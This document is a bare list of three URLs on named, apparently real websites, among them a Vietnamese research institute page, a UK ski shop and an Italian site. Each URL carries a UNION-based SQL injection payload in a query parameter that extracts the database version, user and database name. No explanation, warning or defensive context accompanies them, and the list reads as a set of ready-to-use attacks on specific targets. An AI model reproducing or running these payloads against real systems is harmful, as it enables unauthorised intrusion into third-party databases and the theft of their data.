http://www.iop.vast.ac.vn/ccp/member.php?id=-1+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55

http://www.skiallday.co.uk/shop/info.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,version(),user(),database()),12,13,14,15,16

http://gdecarli.it/php/index.php?var1=1&var2=-1+union+select+1,2,concat_ws(0x3a,version(),user(),database())